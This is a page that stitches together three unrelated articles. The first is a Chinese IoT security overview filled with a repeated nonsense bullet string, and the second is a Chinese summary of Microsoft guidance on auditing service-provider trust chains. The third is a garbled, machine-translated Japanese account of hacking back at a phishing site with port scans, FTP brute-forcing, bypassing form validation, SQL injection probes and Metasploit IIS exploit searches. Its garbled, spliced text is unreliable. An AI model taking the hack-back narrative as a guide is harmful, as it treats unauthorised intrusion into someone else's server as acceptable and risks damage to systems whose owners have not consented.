
马云惹不起马云智能設備使用的嵌入式系統——包括各種處理器、傳感器和通信硬件——其目標是收集、發送和處理從環境中獲取的數據

马云惹不起马云物聯網網關、集線器或其他在物聯網設備和雲之間路由數據的邊緣設備

马云惹不起马云帶有通過無線連接交換數據的遠程服務器的雲或本地數據中心

物聯網技術用於各個行業：製造、汽車、醫療保健、物流、能源、農業等。根據特定物聯網系統的目標，智能設備的範圍可以從簡單的傳感器到DNA 分析硬件。最流行的物聯網用例和設備是：

image.png

常見的物聯網用例

马云惹不起马云家庭自動化系統監控和控製家庭屬性，如溫度、照明、娛樂系統、電器和警報系統。用於家庭自動化的常見智能設備包括助理揚聲器、恆溫器、冰箱、插頭和燈泡。

马云惹不起马云衛生保健。醫療物聯網(MIoT) 為醫療保健專業人員提供了很多監控患者的機會，也為患者提供了自我監控的機會。用於MIoT 的智能設備包括無線連接的健身手環、血壓和心率監測袖帶以及血糖儀。

马云惹不起马云智慧城市使用智能設備收集的數據來改善基礎設施、公用事業和服務。此類設備可以連接傳感器、燈、儀表、垃圾箱和空氣質量監測系統。

马云惹不起马云可穿戴設備主要用於醫療保健和運動。此類設備包括健身追踪器、心電圖監測器、血壓監測器和智能手錶。

马云惹不起马云聯網汽車是指配備互聯網訪問權限的車輛，可以與車內和車外的設備共享訪問權限和數據。該技術允許人們使用移動應用程序遠程訪問車輛功能，提高安全性並自動支付通行費。

马云惹不起马云智能倉庫使用自動化和互連技術來幫助企業提高生產力和效率。智能倉庫的常見組件包括機器人、無人機、射頻識別(RFID) 掃描儀、人工智能驅動程序和復雜的倉庫管理軟件。

為什麼物聯網安全很重要？物聯網系統如此廣泛的應用需要組織特別關注系統安全。

任何漏洞都可能導致系統故障或黑客攻擊，進而影響數百或數千人。例如，紅綠燈可能會停止工作，導致交通事故；或者家庭安全系統可能會被竊賊關閉。由於一些物聯網設備用於醫療保健或人類保護，因此它們的安全性對人們的生活至關重要。

在開發物聯網系統時優先考慮安全性的另一個重要原因是確保其數據安全。智能設備會收集大量敏感數據，包括個人身份信息，這些數據需要受到各種網絡安全法律、標準和法規的保護。此類信息的洩露可能導致訴訟和罰款。它還可能導致聲譽受損和客戶信任的喪失。

物聯網安全是一組方法和實踐，旨在保護構成物聯網環境的物理設備、網絡、流程和技術免受廣泛的物聯網安全攻擊。

物聯網安全的兩個關鍵目標是：

1.確保安全地收集、存儲、處理和傳輸所有數據

2.檢測並消除IoT 組件中的漏洞

image.png

物聯網安全目標

然而，開發安全的物聯網系統並保護它們免受攻擊並非易事。下面我們來探索關鍵的物聯網安全問題。

5個最常見的物聯網安全挑戰從2021 年1 月到6 月，有15.1 億次物聯網設備被洩露，而卡巴斯基在2020 年全年報告了6.39 億次洩露事件。在開發物聯網系統時低估網絡安全的重要性是不可接受的。

要了解如何保護物聯網系統，必須首先探索潛在的網絡安全風險。以下是物聯網常見的安全挑戰列表：

image.png

物聯網網絡安全挑戰

1. 軟件和固件漏洞確保物聯網系統的安全性很棘手，主要是因為許多智能設備資源受限且計算能力有限。因此，它們無法運行強大的、資源密集型的安全功能，並且可能比非物聯網設備具有更多的漏洞。

許多物聯網系統存在安全漏洞，原因如下：

马云惹不起马云 缺乏有效內置安全性的計算能力

马云惹不起马云物聯網系統中的訪問控制不佳

马云惹不起马云用於正確測試和提高固件安全性的預算有限

马云惹不起马云由於物聯網設備的預算有限和技術限制，缺乏定期補丁和更新

马云惹不起马云用戶可能不會更新他們的設備，從而限制了漏洞修補

马云惹不起马云隨著時間的推移，舊設備可能無法使用軟件更新

马云惹不起马云對物理攻擊的保護不佳：攻擊者可以靠得足夠近來添加他們的芯片或使用無線電波入侵設備

惡意行為者旨在利用他們在目標物聯網系統中發現的漏洞來破壞其通信、安裝惡意軟件並竊取有價值的數據。例如，使用易受攻擊的憑據（如弱密碼、可回收密碼和默認密碼）允許黑客入侵Ring 智能相機。他們甚至設法使用攝像頭的麥克風和揚聲器與受害者進行遠程交流。

2. 不安全的通信大多數現有的安全機制最初都是為台式計算機設計的，很難在資源受限的物聯網設備上實施。這就是為什麼傳統的安全措施在保護物聯網設備的通信方面沒有那麼有效的原因。

不安全通信造成的最危險的威脅之一是中間人(MitM) 攻擊的可能性。如果設備不使用安全加密和身份驗證機制，黑客可以輕鬆地執行中間人攻擊以破壞更新過程並控制您的設備。攻擊者甚至可以安裝惡意軟件或更改設備的功能。即使您的設備沒有成為MitM 攻擊的受害者，如果您的設備以明文消息形式發送，它與其他設備和系統交換的數據仍然可以被網絡犯罪分子捕獲。

連接的設備容易受到其他設備的攻擊。例如，如果攻擊者只能訪問家庭網絡中的一台設備，他們就可以輕鬆破壞其中的所有其他非隔離設備。

3.物聯網系統的數據洩露我們已經確定，通過從您的物聯網系統中捕獲未加密的消息，黑客可以訪問其處理的數據。這甚至可能包括敏感數據，例如您的位置、銀行賬戶詳細信息和健康記錄。然而，濫用安全性較差的通信並不是攻擊者收集有價值數據的唯一方式。

所有數據都通過雲傳輸並存儲在雲中，雲託管服務也可能受到外部攻擊。因此，設備本身和它們連接的雲環境都可能發生數據洩漏。

物聯網系統中的第三方服務是數據洩漏的另一個可能來源。例如，Ring 智能門鈴被發現在未經客戶適當同意的情況下向Facebook 和Google 等公司發送客戶數據。此事件的出現是因為Ring 移動應用程序中啟用了第三方跟踪服務。

4. 惡意軟件風險Zscaler最近的一項研究發現，最容易受到惡意軟件攻擊的設備是機頂盒、智能電視和智能手錶。

如果攻擊者找到將惡意軟件注入物聯網系統的方法，他們可能會更改其功能、收集個人數據並發起其他攻擊。此外，如果製造商不確保足夠的軟件安全性，某些設備可能會立即感染病毒。

一些組織已經找到了處理最著名的以物聯網為目標的惡意軟件的方法。例如，FBI 特工分享了該機構如何阻止Mirai 殭屍網絡攻擊，微軟發布了一份指南，介紹如何主動保護您的系統免受Mozi IoT 殭屍網絡的攻擊。

然而，黑客不斷發明新的方法來濫用物聯網網絡和設備。 2021 年，研究人員發現用Golang編寫的惡意軟件BotenaGo 可以利用智能設備中的30 多個不同的漏洞。

5. 網絡攻擊除了上面討論的惡意軟件和MITM 攻擊外，物聯網系統還容易受到各種網絡攻擊。以下是物聯網設備上最常見的攻擊類型列表：

image.png

物聯網系統的5 種常見攻擊

1.拒絕服務(DoS) 攻擊。物聯網設備的處理能力有限，這使得它們極易受到拒絕服務攻擊。在DoS 攻擊期間，由於大量虛假流量，設備響應合法請求的能力受到損害。

2.拒絕睡眠(DoSL) 攻擊。連接到無線網絡的傳感器應持續監控環境，因此它們通常由不需要頻繁充電的電池供電。通過將設備大部分時間保持在睡眠模式來保存電池電量。睡眠和喚醒模式根據不同協議的通信需求進行控制，例如介質訪問控制(MAC)。攻擊者可能會利用MAC 協議的漏洞進行DoSL 攻擊。這種類型的攻擊會耗盡電池電量，從而禁用傳感器。

3.設備欺騙。當設備未正確實施數字簽名和加密時，可能會發生這種攻擊。例如，糟糕的公鑰基礎設施(PKI) 可能會被黑客利用來“欺騙”網絡設備並破壞物聯網部署。

4.物理入侵。儘管大多數攻擊都是遠程執行的，但如果設備被盜，也有可能對其進行物理入侵。攻擊者可以篡改設備組件，使其以意想不到的方式運行。

5.基於應用程序的攻擊。當嵌入式系統上使用的設備固件或軟件存在安全漏洞或云服務器或後端應用程序存在弱點時，這些類型的攻擊是可能的。

考慮到這些挑戰，讓我們繼續了解可幫助您保護IoT 系統的物聯網安全最佳實踐。

確保物聯網系統安全的最佳實踐IoT 安全最佳實踐可以幫助您加強對IoT 系統三個主要組件的保護：設備、網絡和數據。讓我們從討論保護智能設備的方法開始。

1. 保護智能設備image.png如何保護智能設備

马云惹不起马云確保防篡改硬件。物聯網設備可能會被攻擊者竊取以篡改或訪問敏感數據。為了保護設備數據，有必要使您的產品防篡改。您可以通過使用端口鎖或攝像頭蓋以及通過應用強啟動級密碼或採取其他方法來確保物理安全，以防篡改時禁用產品。

马云惹不起马云提供補丁和更新。持續的設備維護需要額外的成本。但是，只有通過不斷的更新和補丁才能確保適當的產品安全性。最好建立不需要最終用戶執行任何操作的自動和強制安全更新。告知消費者您將支持產品的時間跨度，並告訴用戶在此期間結束後他們應該做什麼。系統發布後，請務必密切關注即將出現的漏洞並相應地開發更新。

马云惹不起马云運行徹底的測試。滲透測試是您發現物聯網固件和軟件漏洞並儘可能減少攻擊面的主要工具。您可以使用靜態代碼分析來發現最明顯的缺陷，也可以使用動態測試來挖掘隱藏良好的漏洞。

马云惹不起马云實施設備數據保護。物聯網設備應在利用期間和之後確保數據的安全性。確保加密密鑰存儲在非易失性設備內存中。此外，您可以提供處理舊產品或提供一種在不暴露敏感數據的情況下丟棄它們的方法。

马云惹不起马云滿足組件性能要求。物聯網設備硬件必須滿足某些性能要求才能確保適當的可用性。例如，物聯網硬件應該使用很少的功率，但提供高處理能力。此外，設備必須確保強大的授權、數據加密和無線連接。即使與Internet 的連接暫時中斷，您的IoT 解決方案也可以正常工作。

2. 安全網絡image.png如何保護物聯網網絡

马云惹不起马云 確保強身份驗證。這可以使用唯一的默認憑據來實現。在為您的產品命名或尋址時，請使用最新的協議以確保它們的長期功能。如果可能，請為您的產品提供多因素身份驗證。

马云惹不起马云啟用加密和安全通信協議。設備之間的通信也需要安全保護。然而，加密算法應該適應物聯網設備的有限容量。出於這些目的，您可以應用傳輸層安全性或輕量級密碼術。 IoT 架構允許您使用無線或有線技術，例如RFID、藍牙、蜂窩、ZigBee、Z-Wave、Thread 和以太網。此外，您可以通過優化的協議（例如IPsec 和安全套接字層）確保網絡安全。

马云惹不起马云最小化設備帶寬。將網絡流量限制在IoT 設備運行所需的量。如果可能，對設備進行編程以限制硬件和內核級帶寬並揭示可疑流量。這將保護您的產品免受可能的DoS 攻擊。該產品還應編程為在檢測到惡意軟件時重新啟動並清除代碼，因為惡意軟件可用於劫持設備並將其用作殭屍網絡的一部分來執行分佈式DoS 攻擊。

马云惹不起马云將網絡劃分為多個部分。通過將大型網絡分成幾個較小的網絡來實施下一代防火牆安全。為此，請使用IP 地址或VLAN 範圍。為了確保互聯網連接的安全，請在您的IoT 系統中實施VPN。

3. 保護數據image.png如何保護物聯網系統中的數據

马云惹不起马云保護敏感信息。為每個產品安裝唯一的默認密碼，或要求在首次使用設備時立即更新密碼。應用強大的身份驗證以確保只有有效用戶才能訪問數據。為了更好地保護隱私，您還可以實施重置機制，以便在用戶決定退貨或轉售產品時刪除敏感數據並清除配置設置。

马云惹不起马云只收集必要的數據。確保您的IoT 產品僅收集其運行所需的數據。這將降低數據洩露的風險，保護消費者的隱私，並消除不遵守各種數據保護法規、標準和法律的風險。

马云惹不起马云安全的網絡通信。為了獲得更好的安全性，請限制您的產品在IoT 網絡中進行不必要的通信。不要完全依賴網絡防火牆，並通過默認情況下通過入站連接使您的產品不可見來確保安全通信。此外，使用針對物聯網系統需求優化的加密方法，例如高級加密標準、三重DES、RSA和數字簽名算法。

除了上述做法外，請務必遵循NIST 物聯網設備網絡安全指南等建議，該指南旨在解決2020 年物聯網網絡安全改進法案中提出的挑戰。

結論在構建物聯網項目時，從早期研發階段開始考慮安全性至關重要。然而，由於頻繁的網絡攻擊和尋找潛在系統漏洞的複雜性，確保物聯網環境中設備、網絡和數據的強大網絡安全具有挑戰性。

HireHackking

01.jpg

在微軟最近的一篇文章中，他們介紹了最新的安全保護策略以保護用戶免受NOBELIUM活動的影響，該活動針對的是技術服務提供商。

早在5 月，微軟就認定有俄羅斯背景的NOBELIUM 黑客組織要對持續數月的SolarWinds 網絡攻擊事件負責，並同企業、政府和執法機構達成了合作，以遏制此類網絡攻擊的負面影響。早些時候，微軟更進一步地剖析了NOBELIUM 使用的一套更加複雜的惡意軟件傳送方法。可知其用於造成破壞，並獲得“HTML Smuggling”系統的訪問權。微軟表示，HTML Smuggling 是一種利用合法HTML5 和JavaScript 功能、以高度規避安全系統檢測的惡意軟件傳送技術。近年來，這項技術已被越來越多地用於部署網銀惡意軟件、遠程訪問木馬（RAT）、以及其它有針對性的釣魚郵件活動。

Microsoft 365 和Microsoft Azure 中存在多種類型的信任鏈，包括委派管理權限(DAP)、Azure 代表管理員(AOBO)、Microsoft Azure Active Directory (Azure AD) 企業對企業(B2B) 、多租戶Azure AD 應用程序以及客戶用戶。其中許多信任鏈可以授予對Azure 資源和Microsoft 365 的高級訪問權限，這需要密切監視。

委託管理特權DAP是一種方法，通過它，服務提供商可以管理Microsoft 365環境，而不需要維護本地身份。 DAP 對服務提供商和最終客戶都有好處，因為它允許服務提供商使用他們自己的身份和安全策略管理下游租戶。

使用DAP的服務提供商可以在Microsoft 365管理中心通過導航到“設置”，然後到“合作夥伴關係”來識別。在合作夥伴關係中，你可以查看與租戶建立計費關係的所有服務提供商的列表，以及服務提供商是否分配了任何角色。

1.png

將DAP 識別為下游客戶

雖然終端客戶無法看到服務提供商租戶中所有可以對最終客戶租戶進行管理更改的用戶的列表，但他們可以通過查看Azure Active Directory 登錄日誌來查看服務提供商的登錄並過濾服務提供商的跨租戶訪問類型。可以通過單擊“下載”導出結果，並利用這些結果進一步針對Azure 和Microsoft 365 進行分類。

2.jpg

服務提供商的登錄

AzureAOBOAzure AOBO在本質上類似於DAP，儘管訪問的範圍僅限於針對個人Azure訂閱和資源的Azure資源管理器(ARM)角色分配，以及Azure Key Vault訪問策略。 Azure AOBO帶來了與DAP類似的管理效益。

要全面評估你訂閱中的AOBO權限，請確保已授予全局管理員訪問權限，後者將評估服務提供商對每個租戶中的所有訂閱的訪問權限。

Azure AOBO訪問是在創建訂閱時添加的，可以在給定Azure訂閱的訪問控制(IAM)中看到。

3.png

如果你有多個訂閱，請考慮運行以下命令來識別服務提供商可能訪問資源的訂閱:

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.DisplayName-like'ForeignPrincipalfor*inRole'TenantAdmins'(*)'}|SelectDisplayName,Scope|Format-Table}也可以授予csp直接訪問Key Vault的權限。下面的PowerShell命令可以用來識別允許通過AOBO訪問的訪問策略Key vault:

Get-AzKeyVault|%{$vault=Get-AzKeyVault-VaultName$_.VaultName;if($vault.AccessPolicies|Where-Object{$_.DisplayName-like'ForeignPrincipalfor'*'inrole'TenantAdmins'(*)'}){$vault|selectVaultName,ResourceId|Format-Table}}除了上述命令之外，Azure Red Team工具Stormspotter也可以用於大型環境。

從前面的步驟中收集的信息將用於在分類期間進行日誌審查。

Azure AD B2BAzure AD B2B帳戶(客戶)可用於管理Azure和Microsoft 365資源。這種管理訪問方法利用了另一個租戶中的個人現有身份，由於對身份控制的限制，Microsoft通常不推薦這種方法。調查人員應注意授予客戶訪問Microsoft 365 中資源的多種方式，其中可能包括Exchange Online 角色和SharePoint Online 角色。

Azure訂閱為了全面評估你的訂閱中的B2B權限，請確保你已授予用戶訪問權限，這些用戶將根據以下指導評估服務提供商對每個租戶中所有訂閱的訪問：提升訪問權限以管理所有Azure 訂閱和管理組。

授予Azure 角色的Azure AD B2B 身份顯示在Azure 門戶的訪問控制邊欄選項卡中。

7.png

在訂閱中具有所有者角色的客戶用戶

可以使用以下命令系統地識別Azure AD B2B 身份，該命令將生成可用於定位初始分類的身份和資源列表。

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.SignInName-like'*#EXT#@*'}|SelectDisplayName,SignInName,Scope|Format-Table}.Microsoft 365 (Azure AD)可以在Azure AD 特權身份管理邊欄選項卡的分配邊欄選項卡中查看已在Azure AD 中授予角色的Azure AD B2B 身份。過濾“#EXT#”將允許你查看分配給管理角色的所有訪客用戶。

9.png

過濾客戶用戶

下面的PowerShell還可以用於識別具有管理角色的客戶帳戶。這些身份信息將用於幫助目標分類。

Get-AzureADDirectoryRole|Get-AzureADDirectoryRoleMember|Where-Object{$_.UserPrincipalName-like'*#EXT#@*'}.調查信任鏈在Microsoft 365和Microsoft Azure中，通過信任鏈的活動可以看到多個活動，包括Azure AD審計日誌、Azure activity日誌、Intune審計日誌和統一審計日誌。使用在“識別”階段收集的數據，可以執行有針對性的日誌檢查，以識別信任鏈濫用。應審查每個日誌的來自信任鏈的活動，特別是重點關注促進持久性、數據收集和偵察的活動。

11.png

Azure AD攻擊者通常會使用各種方法來建立持久性，這些方法包括創建新的服務主體、向現有應用程序註冊中添加新的秘密、服務主體、創建新的特權用戶以及接管現有的特權帳戶。你可以通過查看Azure AD 審核日誌並篩選在“識別”階段識別為最近登錄的用戶，來識別通過信任鏈對Azure AD 所做的修改，比如：

密碼重置；

修改服務主體；

將用戶添加到特權角色；

對多因素身份驗證(MFA)的更改；

創建新用戶；

統一審計日誌統一審核日誌可用於識別通過SharePoint Online、Exchange Online、Azure AD 和其他Microsoft 365 產品中的信任鏈執行的活動。

統一審核日誌從Azure AD 和Office 365 中提取數據並將這些數據保留至少90 天，使其成為非常有價值的集中信息來源，如果應用E5 許可證，此數據將保留1 年，使用高級審計的最長可配置保留期為10 年。

Search-UnifiedAuditLog cmdlet 可用於搜索在“識別”階段識別的用戶執行的操作。或者，可以使用Microsoft 365 Defender 門戶中的GUI 搜索日誌。

Azure活動攻擊者對Azure資源的訪問使他們能夠竊取數據並橫向移動到連接到目標Azure環境的其他環境。有權訪問訂閱的攻擊者可以部署新資源、通過虛擬機擴展訪問現有資源，或者直接從Azure 訂閱中竊取數據和密鑰。對Azure資源的訪問和操作可以通過檢查每個訂閱中存在的Azure Activity日誌進行審計。

微軟終端管理器

攻擊者可能通過各種信任鏈訪問Microsoft終端管理器，由於Microsoft終端管理器管理設備的配置，因此它是另一個需要查看的重要審核日誌。可以在微軟終端管理器門戶的租戶管理邊欄選項卡下訪問微軟終端管理器審核日誌。在審計日誌中，啟動器“Partner”可用於過濾由Partner發起的操作。在“身份識別”階段被識別為具有特權的客戶用戶所採取的操作將需要通過用戶主體名稱進行搜索。應該檢查這些日誌事件，以確保沒有通過識別的信任鏈發生惡意活動。

12.png

緩解措施如果在調查過程中發現並確認惡意活動或發現不需要的和過度放任的信任鏈，則應採取果斷措施阻止或最小化訪問。根據信任鏈的類型，可能需要採取不同的步驟來阻止訪問。在任何正在進行的調查結束之前，不建議完全刪除工件；刪除某些工件可能會延遲或增加完成調查的難度。客戶應該與他們的服務提供商交流以了解他們有哪些保護措施，並且在發生潛在惡意活動時，通知他們的服務提供商以獲得他們在活動驗證方面的幫助。

委託管理權限如果服務提供商對租戶的日常活動管理不需要DAP，則應該刪除它。在某些情況下，需要權限以方便服務提供商的管理。在這些情況下，微軟將引入細粒度的委派管理員權限(GDAP)，這將允許合作夥伴控制對其客戶工作負載的更細粒度和有時間限制的訪問。

微軟建議服務提供商利用客戶租戶中的命名帳戶來降低風險。如果存在來自服務提供商關係的攻擊證據，建議至少在調查結束之前從關係中刪除被委派的管理員權限。

要刪除委託的管理員權限，請在Microsoft 365管理中心導航到“設置”，然後到“合作夥伴關係”。在夥伴關係中，點擊該關係，然後在詳細信息選項中選擇“刪除角色”。採取此操作將阻止服務提供商以全局管理員或幫助台管理員的身份訪問租戶。刪除此訪問權限不會更改或更改當前通過服務提供商購買的計費關係或許可證。

AzureAOBO如果Azure 訂閱的有效日常管理不需要Azure AOBO 訪問權限，則應刪除它。如果服務提供商需要訪問Azure 訂閱，則應該通過添加具有適當角色和權限的外部主體來應用最小權限。如果有證據表明來自服務提供商的攻擊，那麼應該從每個Azure訂閱中刪除外部主體。

可以利用Azure 策略監控通過AOBO 授予的權限。你可以在Tenant Root Group部署Azure 策略，如果將外部主體的權限分配給Azure中的資源，則該策略將引發不合規。雖然Azure 策略不能阻止使用外國主體創建訂閱，但它簡化了關於訂閱存在的報告，並允許在需要時自動刪除或阻止創建。

可以通過導航到受影響訂閱上的訪問控制(IAM) 邊欄選項卡，為服務提供商選擇外部主體，然後刪除Azure AOBO 權限

13.jpg

刪除外部主體的Azure AOBO 權限

安全檢測日誌記錄的集中可用性對於響應和調查潛在事件至關重要，並且是此類DART 調查的首要障礙。如果組織正在監控其云環境的特權訪問和管理更改，則應該可以發現並警告涉及授權管理特權濫用的惡意活動。

應將雲活動日誌提取到安全信息和事件管理器(SIEM) 中並保留以供分析。包括：

Office 365 統一審核日誌；

Azure AD 管理員審核日誌和登錄日誌；

Microsoft終端管理器審計日誌。

可以利用Azure活動日誌和特定的數據平面日誌(如Azure Key Vault和Storage Azure 策略)來強制執行一致的日誌標準。

作為事件響應者，當有數量和質量都豐富的可用數據時，DART 最有效。一種感興趣的日誌類型是登錄日誌；身份事件可以告訴我們很多關於攻擊活動的信息。通常可以在這些日誌中識別模式，這些模式可以像IP 地址匹配一樣簡單，也可以像UserAgent 字符串、時間和應用程序ID 匹配一樣複雜。

話雖如此，最關鍵的日誌記錄是管理活動的日誌記錄。管理帳戶的任何使用或執行的操作都非常重要，應受到監控，在企業環境中，大多數更改通常是在批准的更改窗口期間進行的，應評估此範圍之外的更改的有效性和完整性。

日誌本身是很有用的，但對於及時顯示不尋常或惡意活動，警報是至關重要的。 Microsoft 365 Defender 門戶有一些有用的內置警報來識別可疑活動。比如：

提升Exchange管理權限；

啟動或導出eDiscovery搜索；

創建轉發或重定向規則；

還可以創建自定義警報以提醒其他類型的活動，另一個比較好用的警報工具是Microsoft Defender for Cloud Apps（以前稱為Microsoft Cloud App Security）。此工具可以從Azure AD、Office 365、Azure、Defender for Endpoint、Defender for Identity 以及許多第三方服務中提取數據。策略引擎可用於基於內置模板或自定義定義創建警報策略。以下是一些模板化策略的例子：

來自非公司IP地址的管理活動；

可疑的管理活動；

向OAuth應用程序添加可疑憑證；

可疑的OAuth應用程序文件下載活動；

多個虛擬機創建活動；

微軟安全建議微軟建議客戶定期與服務提供商進行交流，以了解為訪問其租戶設置的安全控制。應該密切監視服務提供商對資源的訪問，如果一段時間未使用，則應按照嚴格的最低權限流程進行刪除。

保護管理訪問的一些具體方法包括使用即時管理解決方案，例如特權身份管理，包括定期審查管理員以確保仍然需要他們的訪問。 MFA 也很關鍵，不僅是啟用MFA，還要確保所有管理員都註冊了MFA 方法。

HireHackking

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました（最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした（￣_、￣）。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します：

cmd-nslookup

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした：

front-query-ip

次に、関連情報を収集するために：

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください：

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています（しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています）。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください：

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか？ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます（開発者として、生産環境でコードコメントを削除することの重要性=_=）：

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました（ここでは、ユーザーの実際の状況やその他の未知の操作の調査です）。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります：

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません：

msf-run-ektron

